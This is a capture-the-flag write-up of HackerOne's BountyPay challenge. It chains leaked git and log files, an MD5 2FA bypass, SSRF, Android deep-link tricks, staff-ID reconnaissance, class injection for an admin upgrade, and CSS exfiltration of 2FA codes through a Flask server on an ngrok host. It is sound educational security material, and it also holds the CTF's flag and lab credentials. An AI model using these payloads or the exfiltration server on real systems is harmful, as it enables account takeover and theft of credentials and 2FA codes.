h1-ctf · Report #894110
h1-ctf writeup , finally paid the payments by chaining multiple bugs
How it was found
Summary:
Ultimate aim is to pay the payments of hackerone using bounty pay with no use privileges at starting. Given scope is : *.bountypay.h1ctf.com
Enumerated subdomains are :
- www.bountypay.h1ctf.com
- app.bountypay.h1ctf.com
- staff.bountypay.h1ctf.com
- api.bountypay.h1ctf.com
- software.bountypay.h1ctf.com (cant access gloabally)
The overall CTF can be divided into levels, at each level we work with one subdomain. Lets make the road map to the CTF:
- Login into the app.bountypay.h1ctf.com (using git repo files, 2FA bypass)
- SSRF in load transactions to access software.bountypay.h1ctf.com and getting BountyPay.apk
- Solving the three challenges of Android to get api key of api.bountypay.h1ctf.com
- Recon on the company twitter to get the staff_id , finding the creds of staff.bountypay.h1ctf.com using that staff id and staff details route over api
- Getting hackerone payment creds by upgrading to admin using report feature and chaining the logical bugs over predifined js
- Leaking the 2FA code by CSS exfilteration and bypass 2FA at payments on app.bountypay.h1ctf.com
Level - 1 ::
Started with app.bountypay.h1ctf.com site. Through dirsearch found the git repo files /.git/, downloaded the config file https://app.bountypay.h1ctf.com/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/bounty-pay-code/request-logger.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
Through the config file found the git repo https://github.com/bounty-pay-code/request-logger.git. The repo is php request logger . through the logger.php code
<?php
$data = array(
'IP' => $_SERVER["REMOTE_ADDR"],
'URI' => $_SERVER["REQUEST_URI"],
'METHOD' => $_SERVER["REQUEST_METHOD"],
'PARAMS' => array(
'GET' => $_GET,
'POST' => $_POST
)
);
file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
found that it logs the POST and GET variables to the log file bp_web_trace.log which is in htdocs and can be accessed through server https://app.bountypay.h1ctf.com/bp_web_trace.log.
1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
By base64 decoding we can get the first four requests of the server
{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
Using that creds we can login into the app.bountypay.h1ctf.com which has an 2FA check. There is no session management, 2FA code is validated using the challenge parameter so 2FA is validated using some relation ship between challenge and challenge_answer.
POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
username=brian.oliver&password=V7h0inzX&challenge=4810310b2c844799dc9c9d46d3838192&challenge_answer=fake
Seems like the challenge == md5(challenge_answer), tried that one challenge=144c9defac04969c7bfad8efaa8ea194&challenge_answer=fake
Worked : ) - Successfully logged into app.app.bountypay.h1ctf.com
Level - 2 ::
After login into the app.bountypay.h1ctf.com, it gives a dashboard where we can load transactions based on month, year and pay them.
The brian.oliver is the owner of BountyPayHQ , searched for all months and years, no use, there are no payments for that account.
But while loading transactions :
{F859504}
It giving a url of api to get the result and result data in the json.
The server is internally requesting the api for the result. we can achieve SSRF if we have control over the url.
URL : https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=07&year=2020
There is no use of month and year values as they are in the query part, but after observing the base64 cookie found that the account id F8gHiqSdpK has been taken from token cookie.
$ echo eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 | base64 -d
{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}
As we have control over account_id, the injection is in url path, so we can control path over that domain api.bountypay.h1ctf.com only : (.
After visiting the home page found that there is an redirect at https://api.bountypay.h1ctf.com/redirect?url=https://www.google.com/search?q=REST+API url has an whitelist check, but it is accepting https://software.bountypay.h1ctf.com/, which is not accessable globally. Tried accessing it using ssrf : F859521 It has a login page same as app.bountypay.h1ctf.com , tried sending post params in get etc, nothing worked. After that tried directory brute force using that ssrf, found uploads directory on https://software.bountypay.h1ctf.com/.
<head><title>Index of /uploads/</title></head>
<body bgcolor="white">
<h1>Index of /uploads/</h1><hr><pre><a href="../">../</a>
<a href="/uploads/BountyPay.apk">BountyPay.apk</a> 20-Apr-2020 11:26 4043701
</pre><hr></body>
</html>
Found the apk on the uploads folder, the files has no restrictions for IP. so downloaded it normally https://software.bountypay.h1ctf.com/uploads/BountyPay.apk . Apk file : F859556
Level - 3 ::
Decompiled the Apk into java files And found that Three challenges in Apk (PartOneActivity.java, PartTwoActivity.java , PartThreeActicity.java). For each activity there is a deep link, the challenges are just fullfill conditions using deeplinks
<activity android:theme="@style/AppTheme.NoActionBar" android:label="@string/title_activity_part_three" android:name="bounty.pay.PartThreeActivity">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="three" android:host="part"/>
</intent-filter>
</activity>
<activity android:theme="@style/AppTheme.NoActionBar" android:label="@string/title_activity_part_two" android:name="bounty.pay.PartTwoActivity">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="two" android:host="part"/>
</intent-filter>
</activity>
<activity android:theme="@style/AppTheme.NoActionBar" android:label="@string/title_activity_part_one" android:name="bounty.pay.PartOneActivity">
<intent-filter android:label="">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="one" android:host="part"/>
</intent-filter>
</activity>
First challenge :
if (getIntent() != null && getIntent().getData() != null) {
String firstParam = getIntent().getData().getQueryParameter("start");
if (firstParam != null && firstParam.equals("PartTwoActivity") && settings.contains(str)) {
It just checks there is start param in query on deep link and that param value == PartTwoActivity Solution :
$ adb shell am start -d one://part?start=PartTwoActivity
Second Challenge
if (getIntent() != null && getIntent().getData() != null) {
Uri data = getIntent().getData();
String firstParam = data.getQueryParameter("two");
String secondParam = data.getQueryParameter("switch");
if (firstParam != null && firstParam.equals("light") && secondParam != null && secondParam.equals("on")) {
It checks two and switch params must be in query and the values must be two=light&switch=on
Solution :
$ adb shell am start -d 'two://part?two=light\&switch=on'
After that there is question where it ask for header value and combine it with X- and checks with header value of firebase.
From internal files of firebase in apk found the url for firebase https://bountypay-90f64.firebaseio.com/
Then getting the header value in it, https://bountypay-90f64.firebaseio.com/header/.json Token is the value, submit it
Third Challenge
Where as PartThreeActivity it checks for three=base64(PartThreeActivity) and switch=base64(on) and header=X-Token
Solution :
$ adb shell am start -d 'three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token'
To finish this we need google apps in VM, as firebase requires aiuthentication. It saves the Token and Host values to shared preferences.
$ adb shell
root@vbox86p:/ # cat /data/data/bounty.pay/shared_prefs/user_created.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="TWITTERHANDLE"></string>
<string name="USERNAME">Hello</string>
<string name="PARTONE">COMPLETE</string>
<string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string>
<string name="PARTTWO">COMPLETE</string>
<string name="HOST">http://api.bountypay.h1ctf.com</string>
</map>
root@vbox86p:/ #
Now we got the token. we can submit it dialogue box that asks after we launch third activity to make it finish F859607.
From the performPostCall function of PartThreeActivity.java we can get to know how to use the token
X-Token: 8e9998ee3137ca9ade8f372739f062c1 as a header for api.bountypay.h1ctf.com
Level - 4 ::
After getting the api token. crawled over the api recursively and only one useful new route /api/staff
_______________________________ Request __________________________________
GET /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Connection: close
_______________________________ Response __________________________________
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
After few trails over that request , found it resonds to POST method , which takes staff_id as input.
If already knows staff_id from GET method is used it is responding as Staff Member already has an account
For non existing staff_id's Invalid Staff ID
This is most difficult part i faced, didn't expected the recon concept, wasted days over this : (, but i liked it , it is relevant to real life scenario.
We need a new joining staff_id to create an account.
Recon part
Gone to twitter https://twitter.com/BountypayHQ
There is a tweet : Today we welcome Sandra to the team!!! it is hint for us.
Searched for following of BountypayHQ in twitter and find sandra twitter account https://twitter.com/SandraA76708114
There she posts a tweet of first day job https://twitter.com/SandraA76708114/status/1258693001964068864.
Where the photo contains the ID card which has an staff_id on it F859634.
Staff id: STF:8FJ3KFISL3 with which we can create new account to get staff credentials.
_______________________________ Request __________________________________
POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Length: 23
staff_id=STF:8FJ3KFISL3
_______________________________ Response __________________________________
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
It creates a new account and gives the username, password of sandra. Username: sandra.allison Password: s%3D8qB8zEpMnc*xsz7Yp5
Level - 5 ::
Using those staff creds we can login to staff.bountypay.h1ctf.com Through the js file(https://staff.bountypay.h1ctf.com/js/website.js) we can observer there is upgrade to admin concept
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
}),
$(".tab").click(function() {
return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}),
$(".sendReport").click(function() {
$.get("/admin/report?url=" + url, function() {
alert("Report sent to admin team")
}), $("#myModal").modal("hide")
}),
document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"));
Observation-1:
upgradeToAdmin is not working for us, requires admin privilages. There is a report functionality is dashboard , we might use that to trigger the upgrade functionality on admin side. The report to admin request takes only path of the url
GET /admin/report?url=Lz90ZW1wbGF0ZT1ob21l HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUV............
We have to trigger the upgrade to admin functionality locally only by the url.
Observation-2:
As the avatar is linked to the class names (avatar1, avatar2, avatar2). our input for avatar is simple a class name.
So there is an class injection in avatar. It supports multiple classes as it allows space char.
We can trigger that class injection on /?template=home and /?template=ticket&ticket_id=3582
Observation - 3: upgrade to admin function has been linked to on click listner on upgradeToAdmin class Based on last line of website.js
document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"));
We can trigger onclick using hash and class names, as already we have class names in our control for a div.
We can set the class name as tab4 upgradeToAdmin and hash as #tab4 , which first makes the div to click based on .tab4 class name
As the div also had upgradeToAdmin class, now it triggers the upgradetoadmin function .
Observation - 4:
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
It is taking the username from input[name="username"], we need to find that type of gadget in html.
after checking all templates , login template had that gadget, weirdly there is no check for opening of login template even after loggedin.
we need to fill the username field with our disired value only with url, tried with get params https://staff.bountypay.h1ctf.com/?template=login&username=nice , Worked : )
Observation - 5: But the login template didn't have class injection, we need both login, ticket template to make this happen. As the template is based on get param, tried giving of multiple templates as array . Worked : )
Finally:
By combining all
Change the avatar value to tab4 upgradeToAdmin
POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
Cookie: token=c0lsdUV....
profile_name=sandra&profile_avatar=tab4 upgradeToAdmin
Open : https://staff.bountypay.h1ctf.com/?template[]=login&username=sandra&template[]=ticket&ticket_id=3582#tab4 Observer the traffic, it automatically sends the upgrade to admin request . Now time to report it to admin.
$ echo -n "/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab4" | base64
Lz90ZW1wbGF0ZVtdPWxvZ2luJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uJnRlbXBsYXRlW109dGlj
a2V0JnRpY2tldF9pZD0zNTgyI3RhYjQ=
It gives the new admin tab to the dashbaord. {F859704} Which contains passwords of bounty pay accounts. now we got the username and password of hackerone's bountypay account.
Username: marten.mickos
Password : h&H5wy2Lggj*kKn4OD&Ype
Level - 6 ::
Now we can login to hackerone's bounty pay account using those creds on app.bountypay.h1ctf.com, using 2FA bypass trich , that we did on level -1
Load the transaction of May 2020, we need to pay them in order to finish the challellege.
Payment : https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba
To pay there is an send challenge option. Which sends code to 2FA app. that request also takes app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
By changing the value, we can load our style for that 2FA code. Now our aim is to leak the 7 digit 2FA code using CSS exfilteration.
After some trails with tag names using responsive nature of css (background image), tried input tag. It responded with 7 requests.
Now tried to brute force the **input tag's name **. Upto code_ there comes only one request.
After that it responded with 1 to 7 values. then got to understand the pattern of input name like code_1, code_2, code_3, code_4, code_5, code_6, code_7.
We need to leak all those seven codes. As there is each input for each code. it became quite simple for bruteforce.
Final payload server using ngrok.
from flask import *
from flask_cors import CORS, cross_origin
from requests import *
app = Flask(__name__,static_folder='')
cors = CORS(app)
app.config['CORS_HEADERS'] = 'Content-Type'
@cross_origin()
@app.route("/css/final.css")
def css_file():
return app.send_static_file("check.css")
record_file="/tmp/record_%s.txt"
@app.route("/recieve")
@cross_origin()
def recieve():
char = request.args.get('char') ; place = request.args.get('place')
print(place,' - ',char)
return "Done"
def set_payload(payload):
final = open("check.css",'a+'); string =""
PP = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[]^_`{|}~ "
for p in PP:
string += str(payload).replace("$$",p).replace("||",str(ord(p)))
final.write(string)
final.close()
ngrok_url = "https://87dc2cffc13b.ngrok.io"
payload = '''
input[name^="code_!!"][value="$$"] {
background-image:url("%s/recieve?value=||&char=$$&place=!!");
}
'''%ngrok_url
if __name__ == '__main__':
with open("check.css",'w') as F: pass
for i in range(1,8):
temp = payload.replace('!!',str(i))
set_payload(temp)
app.run()
Just intercept the request of send_challenge (send 2FA) and change the app_style to https://87dc2cffc13b.ngrok.io/css/final.css. From python server log we can get the 7 digits, we need to combine and enter on the site. we have enough time for this [2 min] Boom : )
Proof of concept
Here is the flag : ^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$ Screenshot : F859448
Impact
Access over payments account.